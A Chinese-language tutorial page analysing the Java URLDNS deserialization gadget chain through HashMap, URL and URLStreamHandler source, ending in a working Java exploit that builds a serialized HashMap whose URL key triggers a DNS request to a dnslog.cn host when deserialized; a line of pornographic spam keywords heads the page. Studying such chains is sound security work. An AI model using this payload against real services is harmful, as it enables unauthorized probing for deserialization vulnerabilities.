欧美bbbwbbbw肥妇,免费乱码人妻系列日韩,一级黄片

Java安全之URLDNS鏈?zhǔn)褂梅治?/h1>
 更新時間:2025年05月15日 15:39:53   作者:Elitewa  
這篇文章主要介紹了Java安全之URLDNS鏈?zhǔn)褂梅治?具有很好的參考價值,希望對大家有所幫助,如有錯誤或未考慮完全的地方,望不吝賜教

什么是URLDNS鏈

URLDNS鏈?zhǔn)荍ava安全中比較簡單的一條利用鏈,無需使用任何第三方庫,全依靠Java內(nèi)置的一些類實現(xiàn),但無法進行命令執(zhí)行,只能實現(xiàn)對URl的訪問探測(發(fā)起DNS請求),并且不限制Java版本,可以用于檢測是否存在反序列化漏洞,理解好URLDNS鏈,那么接下來對CC鏈的學(xué)習(xí)就會簡單許多

URLDNS鏈分析

調(diào)用鏈路

Gadget Chain:
    HashMap.readObject()
             HashMap.putVal()
                     HashMap.hash()
                             URL.hashCode()

HashMap類分析

我們來到 HashMap.java文件,查看HashMap類readObject方法,代碼如下

private void readObject(java.io.ObjectInputStream s)
    throws IOException, ClassNotFoundException {
    // Read in the threshold (ignored), loadfactor, and any hidden stuff
    s.defaultReadObject();
    reinitialize();
    if (loadFactor <= 0 || Float.isNaN(loadFactor))
        throw new InvalidObjectException("Illegal load factor: " +
                                         loadFactor);
    s.readInt();                // Read and ignore number of buckets
    int mappings = s.readInt(); // Read number of mappings (size)
    if (mappings < 0)
        throw new InvalidObjectException("Illegal mappings count: " +
                                         mappings);
    else if (mappings > 0) { // (if zero, use defaults)
        // Size the table using given load factor only if within
        // range of 0.25...4.0
        float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);
        float fc = (float)mappings / lf + 1.0f;
        int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
                   DEFAULT_INITIAL_CAPACITY :
                   (fc >= MAXIMUM_CAPACITY) ?
                   MAXIMUM_CAPACITY :
                   tableSizeFor((int)fc));
        float ft = (float)cap * lf;
        threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
                     (int)ft : Integer.MAX_VALUE);
        @SuppressWarnings({"rawtypes","unchecked"})
            Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
        table = tab;

        // Read the keys and values, and put the mappings in the HashMap
        for (int i = 0; i < mappings; i++) {
            @SuppressWarnings("unchecked")
                K key = (K) s.readObject();
            @SuppressWarnings("unchecked")
                V value = (V) s.readObject();
            putVal(hash(key), key, value, false, false);
        }
    }
}

我們看下該方法的最后一行代碼

putVal(hash(key), key, value, false, false);

發(fā)現(xiàn)調(diào)用了對 key變量 調(diào)用了該類里里面的hash函數(shù),然后我們分析下key參數(shù)是怎么獲得的

通過以下代碼可以看出定義了一個K類型的key變量,然后對反序列化的輸入流進行反序列化,并把反序列化出的復(fù)制給key變量

K類型是代表鍵的泛型,其定義的數(shù)據(jù)可以是任何類型,但只能作為map中的鍵

K key = (K) s.readObject();

我們再看下 hash 函數(shù)是如何對key處理的,我們在HashMap類中找到hash函數(shù)代碼如下

    static final int hash(Object key) {
        int h;
        return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
    }

經(jīng)分析,只要我們的key對象,也就是傳入map的鍵不為空,就會執(zhí)行h = key.hashCode(),也就是執(zhí)行key對象里的hashCode()方法

URL類分析

這里接上文,假設(shè)我們傳入map中的key為URL對象,那么便調(diào)用URL類中的hashCode()方法,我們看下這個方法的代碼

    public synchronized int hashCode() {
        if (hashCode != -1)
            return hashCode;

        hashCode = handler.hashCode(this);
        return hashCode;
    }

這里看到,只要 hashCode = -1的話,那么便會執(zhí)行handler.hashCode(this);,我們?nèi)タ聪?hashcode 屬性是怎么定義的

private int hashCode = -1;

我們發(fā)現(xiàn) hashcode初始值為 -1,也就是默認(rèn)執(zhí)行handler.hashCode(this);,我們再去看看 handler 是怎么定義的,代表了什么,通過下面可得:handler屬性代表了URLStreamHandler類的臨時對象

transient URLStreamHandler handler;
//這個URL傳輸實現(xiàn)類是一個transient臨時類型,不會被反序列化

經(jīng)分析,也就是把這一整個URL對象作為參數(shù),傳入了URLStreamHandler類的hashCode方法

this代表的是當(dāng)前對象的指針,也可以用 this.name 的方式調(diào)用當(dāng)前對象中的成員

那我們?nèi)?code>URLStreamHandler類當(dāng)中,查看下hashCode方法的代碼

protected int hashCode(URL u) {
        int h = 0;

        // Generate the protocol part.
        String protocol = u.getProtocol();
        if (protocol != null)
            h += protocol.hashCode();

        // Generate the host part.
        InetAddress addr = getHostAddress(u);
        if (addr != null) {
            h += addr.hashCode();
        } else {
            String host = u.getHost();
            if (host != null)
                h += host.toLowerCase().hashCode();
        }

        // Generate the file part.
        String file = u.getFile();
        if (file != null)
            h += file.hashCode();

        // Generate the port part.
        if (u.getPort() == -1)
            h += getDefaultPort();
        else
            h += u.getPort();

        // Generate the ref part.
        String ref = u.getRef();
        if (ref != null)
            h += ref.hashCode();

        return h;
    }

我們看到 hashcode 方法接收一個URL類型的參數(shù),然后對接收的 URL對象,也就是前面的key執(zhí)行InetAddress addr = getHostAddress(u);,并會把求出的 hash值 返回給 URL對象中的hashCode屬性(這里記住,下面有用到)

getHostAddress函數(shù)會對URL對象代表的鏈接進行DNS解析,獲取其ip地址,我們使用 DNSLog 平臺可以檢測到該函數(shù)的訪問

exp編寫

思路整理

根據(jù)上面的鏈路分析,我們首先需要創(chuàng)建一個指向DNSLog平臺鏈接URL對象,然后作為傳入HashMap數(shù)組,最后將該數(shù)組進行序列化,然后反序列化調(diào)用其readObject方法,將URL對象賦值給key,然后使用hash方法處理URL對象,再調(diào)用URL對象的hashcode方法,然后以URL對象為參數(shù),傳入URLStreamHandler類的hashCode方法,對URL對象指向的鏈接進行訪問

初步exp

現(xiàn)在的exp大體如下

import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class URLDNS {
    public static void main(String[] args) throws Exception {
        HashMap map = new HashMap();
        URL url = new URL("http://j0obud.dnslog.cn/");//這里替換為DNSLog平臺分配的地址
        map.put(url,"114");//鍵值用不到,隨便設(shè)置
        try {
            FileOutputStream outputStream = new FileOutputStream("./2.ser");
            ObjectOutputStream outputStream1 = new ObjectOutputStream(outputStream);
            outputStream1.writeObject(map);
            outputStream.close();
            outputStream1.close();
            FileInputStream inputStream = new FileInputStream("./2.ser");
            ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
            objectInputStream.readObject();
            objectInputStream.close();
            inputStream.close();
        }catch (Exception e){
            e.printStackTrace();
        }
    }
}

我們在第13行打個斷點,也就是try的這一行

然后運行代碼,發(fā)現(xiàn)未經(jīng)序列化與反序列化仍然能對url進行DNS解析

正是下面這一行代碼導(dǎo)致了url的提前解析

map.put(url,"114");//鍵值用不到,隨便設(shè)置

我們?nèi)タ聪?strong>map(HashMap類)的put方法,代碼如下

    public V put(K key, V value) {
        return putVal(hash(key), key, value, false, true);
    }

我們發(fā)現(xiàn),這個put方法readObject方法觸發(fā)的語句完全一樣,同樣會對URL對象執(zhí)行HashMap類中的hash方法,然后就和上文所述的過程相同,最總到達hashCode方法,對URL對象解析

return putVal(hash(key), key, value, false, true);

下面是這兩個方法的語句對比可以看到是一模一樣的

  • put方法:

  • readObject方法:

需要注意的是假如提前觸發(fā)的話,反序列化的時候便不會再進行DNS解析

我們再次回到URL類中的hashCode方法,并看一下其hashCode屬性的定義

private int hashCode = -1;
public synchronized int hashCode() {
        if (hashCode != -1)
            return hashCode;

        hashCode = handler.hashCode(this);
        return hashCode;
    }

可以看到只有當(dāng) hashCode = -1時,才會執(zhí)行hashCode = handler.hashCode(this);,從而到下一步DNS解析,然后 hashCode屬性被賦值為這個URL解析的哈希值,從而為一個很長的正數(shù),從而不為 -1,然后序列化的時候這個hashCode屬性值保持不變,當(dāng)反序列化到hashCode方法時,以為 hashCode != -1 直接進入if,執(zhí)行return hashCode;,最終到這里就斷掉了,無法觸發(fā)DNS解析

exp改進

那怎么辦呢?

我們可以先在put時,將 hashCode 值通過反射修改為任意一個不為 -1 的數(shù)字,從而不會提前觸發(fā)DNS解析,然后在put完成后,我們再通過反射將 hashCode值設(shè)為 -1,示例如下

field.set(url,123); //將url的hashcode屬性改為123使其不等于-1
map.put(url,"2333"); //這里的value用不上,隨便設(shè)置
field.set(url,-1);//put完之后,我們就需要將hashcode屬性改回成-1,從而能執(zhí)行handler.hashCode(this);

通過反射我們可以動態(tài)修改一個對象中的屬性和方法

最終exp

package org.example;
import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class URLDNS {
    public static void main(String[] args) throws Exception {
        HashMap map = new HashMap();
        URL url = new URL("http://mm4dhq.dnslog.cn/");//這里替換為DNSLog平臺分配的地址
        Class clas = url.getClass();
        Field field = clas.getDeclaredField("hashCode");
        field.setAccessible(true);
        field.set(url,123); //將url的hashcode屬性改為123使其不等于-1
        map.put(url,"2333"); //這里的value用不上,隨便設(shè)置
        field.set(url,-1);//put完之后,我們就需要將hashcode屬性改回成-1,從而能執(zhí)行handler.hashcode
        try {
            //序列化
            FileOutputStream outputStream = new FileOutputStream("./2.ser");
            ObjectOutputStream outputStream1 = new ObjectOutputStream(outputStream);
            outputStream1.writeObject(map);
            outputStream.close();
            outputStream1.close();
            //反序列化,此時觸發(fā)dns請求
            FileInputStream inputStream = new FileInputStream("./2.ser");
            ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
            objectInputStream.readObject();
            objectInputStream.close();
            inputStream.close();
        }catch (Exception e){
            e.printStackTrace();
        }
    }
}

我們再次在put語句下面打斷點,觀察是否還會提前觸發(fā),可以看到DNSLog平臺沒有記錄,代表put時由于hashCode值不為 -1 ,沒有執(zhí)行handler.hashCode(this)

我們在斷點處繼續(xù)執(zhí)行,可以看到反序列化成功觸發(fā)了DNS解析

總結(jié)

以上為個人經(jīng)驗,希望能給大家一個參考,也希望大家多多支持腳本之家。

相關(guān)文章

  • Java字符串split使用方法代碼實例

    Java字符串split使用方法代碼實例

    這篇文章主要介紹了Java字符串split使用方法代碼實例,文中通過示例代碼介紹的非常詳細(xì),對大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價值,需要的朋友可以參考下
    2020-07-07
  • Spring開發(fā)中自定義注解的使用詳解

    Spring開發(fā)中自定義注解的使用詳解

    這篇文章主要介紹了Spring開發(fā)中自定義注解的使用詳解,在Java項目中,可以自定義注解,方便進行某些處理操作,提供開發(fā)效率,需要的朋友可以參考下
    2024-01-01
  • Spring注解驅(qū)動開發(fā)實現(xiàn)屬性賦值

    Spring注解驅(qū)動開發(fā)實現(xiàn)屬性賦值

    這篇文章主要介紹了Spring注解驅(qū)動開發(fā)實現(xiàn)屬性賦值,文中通過示例代碼介紹的非常詳細(xì),對大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價值,需要的朋友可以參考下
    2020-04-04
  • Jetty啟動項目中引用json-lib相關(guān)類庫報錯ClassNotFound的解決方案

    Jetty啟動項目中引用json-lib相關(guān)類庫報錯ClassNotFound的解決方案

    今天小編就為大家分享一篇關(guān)于Jetty啟動項目中引用json-lib相關(guān)類庫報錯ClassNotFound的解決方案,小編覺得內(nèi)容挺不錯的,現(xiàn)在分享給大家,具有很好的參考價值,需要的朋友一起跟隨小編來看看吧
    2018-12-12
  • 關(guān)于dubbo的RPC和RESTful性能及對比

    關(guān)于dubbo的RPC和RESTful性能及對比

    這篇文章主要介紹了關(guān)于dubbo的RPC和RESTful性能及對比,具有很好的參考價值,希望對大家有所幫助。如有錯誤或未考慮完全的地方,望不吝賜教
    2022-12-12
  • 初識Spring Boot框架之Spring Boot的自動配置

    初識Spring Boot框架之Spring Boot的自動配置

    本篇文章主要介紹了初識Spring Boot框架之Spring Boot的自動配置,具有一定的參考價值,感興趣的小伙伴們可以參考一下。
    2017-04-04
  • Springboot中yml文件不生效原因分析及解決方案

    Springboot中yml文件不生效原因分析及解決方案

    本文介紹了SpringBoot項目中YML文件不生效的常見原因及解決方案,包括格式錯誤、文件名錯誤、配置文件位置、激活的Profile、yml文件未加載、依賴問題、環(huán)境變量覆蓋和代碼中的硬編碼配置,通過以下步驟,可以解決大部分YML文件配置不生效的問題
    2024-11-11
  • MyBatis攔截器:給參數(shù)對象屬性賦值的實例

    MyBatis攔截器:給參數(shù)對象屬性賦值的實例

    下面小編就為大家?guī)硪黄狹yBatis攔截器:給參數(shù)對象屬性賦值的實例。小編覺得挺不錯的,現(xiàn)在就分享給大家,也給大家做個參考。一起跟隨小編過來看看吧
    2017-04-04
  • JSP 開發(fā)之hibernate的hql查詢多對多查詢

    JSP 開發(fā)之hibernate的hql查詢多對多查詢

    這篇文章主要介紹了JSP 開發(fā)之hibernate的hql查詢多對多查詢的相關(guān)資料,希望通過本文能幫助到大家,需要的朋友可以參考下
    2017-09-09
  • SpringBoot如何整合Springsecurity實現(xiàn)數(shù)據(jù)庫登錄及權(quán)限控制

    SpringBoot如何整合Springsecurity實現(xiàn)數(shù)據(jù)庫登錄及權(quán)限控制

    這篇文章主要給大家介紹了關(guān)于SpringBoot如何整合Springsecurity實現(xiàn)數(shù)據(jù)庫登錄及權(quán)限控制的相關(guān)資料,文中通過圖文以及實例代碼介紹的非常詳細(xì),對大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價值,需要的朋友可以參考下
    2022-01-01

最新評論